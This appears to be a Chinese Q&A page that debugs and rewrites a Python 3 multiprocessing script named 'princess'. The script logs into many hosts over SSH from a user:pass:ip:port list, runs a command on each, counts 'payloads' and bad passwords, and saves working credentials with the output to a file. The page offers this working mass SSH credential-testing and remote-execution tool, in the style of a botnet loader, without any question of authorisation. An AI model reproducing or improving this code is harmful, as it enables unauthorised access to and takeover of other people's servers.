You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python多进程SSH扫描脚本全局变量报错及运行问题求助

SSH批量扫描脚本问题修复指南

问题1:Ubuntu下./Princess执行提示文件未找到

  • 确认脚本文件名与命令中的Princess一致,若文件名是princess.py,需改为./princess.py执行
  • 给脚本添加可执行权限:chmod +x princess.py
  • 修改shebang行适配Python3:将#!/usr/bin/python替换为#!/usr/bin/env python3,避免系统默认Python版本不匹配

问题2:python3 princess.py执行时的错误修复

1. 多进程共享变量错误处理

multiprocessing.Value创建的共享变量无法通过global关键字在子进程中直接修改——每个子进程拥有独立地址空间,global仅对当前进程生效。正确方案是将共享变量作为参数传递给子进程:

  • 启动进程时,把CONEXIUNE、TIMEOUT、NOGOOD、PAYLOAD作为参数传入breaching函数
  • 删除函数内的global声明,直接使用传入的参数

2. 语法错误修正

  • Python3中print是函数,所有print语句必须添加括号,比如print("\033[0m...")
  • Python3中队列模块为queue.Queue(小写q),修改导入语句为from queue import Queue
  • 字符串跨换行拼接时,需在换行前添加\,或用括号包裹整个字符串,避免语法报错
  • socket.error在Python3中合并到OSError,修改异常捕获为except OSError:
  • 移除未使用的队列代码(原脚本创建了队列但未实际使用)

修正后的完整脚本

#!/usr/bin/env python3
import sys, multiprocessing, time, socket, paramiko, warnings, re, os, select
from os import system
from multiprocessing import Value
from queue import Queue
from sys import stdout

paramiko.util.log_to_file("/dev/null")
warnings.simplefilter(action="ignore", category=FutureWarning)

# 检查命令行参数
if len(sys.argv) != 2:
    print("Usage: python3 princess.py <targets_file>")
    sys.exit(1)

with open(sys.argv[1], "r") as fd:
    lines = fd.readlines()
cmd="ahhh"
system('clear')
print("\033[0m\033[2;49;35mHello \033[0m\033[1;49;96mRemake!\033[0m\n")

queue_count = 0

for ip in lines:
    queue_count += 1
    stdout.write("\r\033[0m\033[2;49;35m[\033[1;49;96m%d\033[0m\033[2;49;35m] \033[0m\033[1;49;96mAdded to queue for Scanning!\033[0m" % queue_count)
    stdout.flush()
print("\n")
print("\033[0m\033[2;49;35mHello \033[0m\033[1;49;96mScan ON!\033[0m\n")

# 初始化共享计数变量
CONEXIUNE = Value('i', 0)
TIMEOUT = Value('i', 0)
NOGOOD = Value('i', 0)
PAYLOAD = Value('i', 0)

def breaching(infovps, conexiune, timeout, nogood, payload):
    try:
        ssh = paramiko.SSHClient()
        bport = int(infovps[3])
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(infovps[2], port=bport, username=infovps[0], password=infovps[1], timeout=5)
        # 重命名避免与sys.stdout冲突
        stdin, stdout_ssh, stderr = ssh.exec_command(cmd)
        time.sleep(10)
        ssh.close()
        
        # 更新Payload计数并写入结果
        with payload.get_lock():
            payload.value += 1
            string = infovps[0]+":"+infovps[1]+":"+infovps[2]+":"+infovps[3]+" - Info - " + \
            "".join(stdout_ssh.readlines()).strip()
            gotline = " ".join(string.splitlines())
            with open('Senpai-Princess', 'a') as file:
                file.write(gotline+"\n")
        
        # 更新总扫描计数
        with conexiune.get_lock():
            conexiune.value += 1
        
        # 打印实时统计
        print("\r\033[0m\033[2;49;35mScanned\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mPayloads\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mTimeouts\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mBad Password\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%d\033[0m\033[1;49;96m] \033[0m\033[2;49;35mUser Used\033[0m\033[1;49;96m: \033[0m\033[1;49;96m[\033[0m\033[2;49;35m%s\033[0m\033[1;49;96m]\x1b[0m\r"% (conexiune.value, payload.value, timeout.value, nogood.value, infovps[0]), end='')
        stdout.flush()
        return
    except paramiko.ssh_exception.AuthenticationException:
        with nogood.get_lock():
            nogood.value += 1
        with conexiune.get_lock():
            conexiune.value += 1
        return
    except OSError:
        with timeout.get_lock():
            timeout.value += 1
        with conexiune.get_lock():
            conexiune.value += 1
        return
    except Exception:
        with timeout.get_lock():
            timeout.value += 1
        with conexiune.get_lock():
            conexiune.value += 1
        return

# 启动进程并等待所有进程完成
processes = []
for line in lines:
    infovps = line.strip().split(":")
    # 跳过格式错误的行
    if len(infovps) !=4:
        print(f"Skipping invalid line: {line.strip()}")
        continue
    p = multiprocessing.Process(target=breaching, args=(infovps, CONEXIUNE, TIMEOUT, NOGOOD, PAYLOAD))
    processes.append(p)
    p.start()

for p in processes:
    p.join()

print("\nScan completed!")

额外优化说明

  • 添加命令行参数检查,避免未传入目标文件时崩溃
  • 使用with语句处理文件操作,自动关闭文件防止资源泄漏
  • 重命名SSH执行结果的stdout,避免与系统sys.stdout冲突
  • 添加进程等待逻辑,确保所有扫描任务完成后脚本再退出
  • 增加无效目标行检查,跳过格式不符合user:pass:ip:port的条目

内容的提问来源于stack exchange,提问作者Jamal Gains

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.13 13:55:20